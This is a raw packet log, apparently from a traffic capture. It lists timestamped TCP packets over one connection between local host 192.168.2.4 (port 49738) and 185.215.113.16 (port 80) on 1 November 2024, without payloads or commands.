Nov 1, 2024 08:50:18.113187075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113198042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113209009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113218069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113229036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113255024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113266945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113286018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113296986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113307953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113318920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113349915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113353968 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113373041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113384008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113395929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113408089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113418102 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113423109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113450050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113456011 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113461971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113476992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113487005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113500118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113512039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113516092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113523960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113557100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113568068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113584995 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113584995 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113600016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113610029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113621950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113622904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113632917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113643885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113673925 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113673925 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113792896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113811016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113826990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113837957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113848925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113859892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113872051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113872051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113872051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113883018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113910913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113918066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113922119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113933086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113936901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113966942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113980055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.113982916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.113995075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114006042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114031076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114043951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114051104 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114056110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114068985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114080906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114089012 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114089012 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114120007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114120960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114145041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114156961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114166021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114188910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114203930 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114203930 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114207983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114218950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114229918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114240885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114250898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114264965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114275932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114288092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114300013 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114300013 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114315033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114327908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114337921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114350080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114392042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114403963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114414930 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114427090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114439011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114450932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114464998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114464998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114522934 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114567041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114588976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114614964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114625931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114631891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114636898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114648104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114655018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114656925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114669085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114696980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114733934 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114734888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114746094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114756107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114773989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114788055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114790916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114794016 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114801884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114815950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114826918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114842892 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114896059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114903927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114913940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114923954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114936113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114947081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114959002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.114993095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.114994049 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.115000010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.115011930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.115020037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.115024090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.115037918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.115045071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.115066051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.115072966 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.115081072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.115106106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.115111113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.115118027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.115130901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.115140915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.115150928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.115161896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.115169048 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.115173101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.115185976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.115196943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.115216970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.115216970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.115245104 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.116414070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.116465092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.116476059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.116492987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.116503954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.116516113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.116539001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.116544962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.116554976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.116615057 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.116805077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.116828918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.116837978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.116849899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.116863966 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.116869926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.116925955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.116926908 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.116952896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117022038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117033005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117043018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117052078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117065907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117074966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117080927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117099047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117109060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117120028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117139101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117156982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117176056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117188931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117209911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117222071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117233038 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117259979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117270947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117275953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117284060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117316961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117351055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117358923 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117362976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117400885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117402077 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117413998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117463112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117472887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117487907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117500067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117511988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117554903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117566109 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117588043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117599010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117609978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117628098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117631912 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117640018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117674112 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117702007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117770910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117782116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117805958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117832899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117835045 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117844105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117856026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117882967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117891073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117894888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117906094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117918015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117928982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117928982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117949009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.117976904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.117976904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.163820982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.190625906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.190663099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.190732002 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.190752983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.190772057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.190783024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.190829992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.190996885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191010952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191021919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191081047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191081047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191112041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191123009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191134930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191155910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191174984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191179991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191196918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191206932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191216946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191221952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191231012 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191253901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191267014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191276073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191278934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191307068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191325903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191332102 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191344023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191355944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191366911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191376925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191389084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191390991 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191390991 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191401005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191411018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191423893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191432953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191432953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191463947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191481113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191497087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191509008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191512108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191512108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191519022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191530943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191561937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191561937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191570997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191586971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191600084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191629887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191641092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191644907 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191659927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191669941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191680908 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191724062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191809893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191824913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191838026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191848993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191865921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191871881 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191883087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191894054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191905975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191914082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191914082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191915989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191927910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191960096 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191960096 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.191965103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191977978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.191997051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192013025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192023993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192033052 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.192044020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192069054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192079067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.192079067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.192081928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192094088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192106962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192120075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192140102 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.192147970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192178011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192178965 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.192189932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192231894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192236900 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.192236900 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.192250013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192261934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192270994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192282915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192316055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:18.192327976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:18.192339897 CET	80	49738	185.215.113.16	192.168.2.4
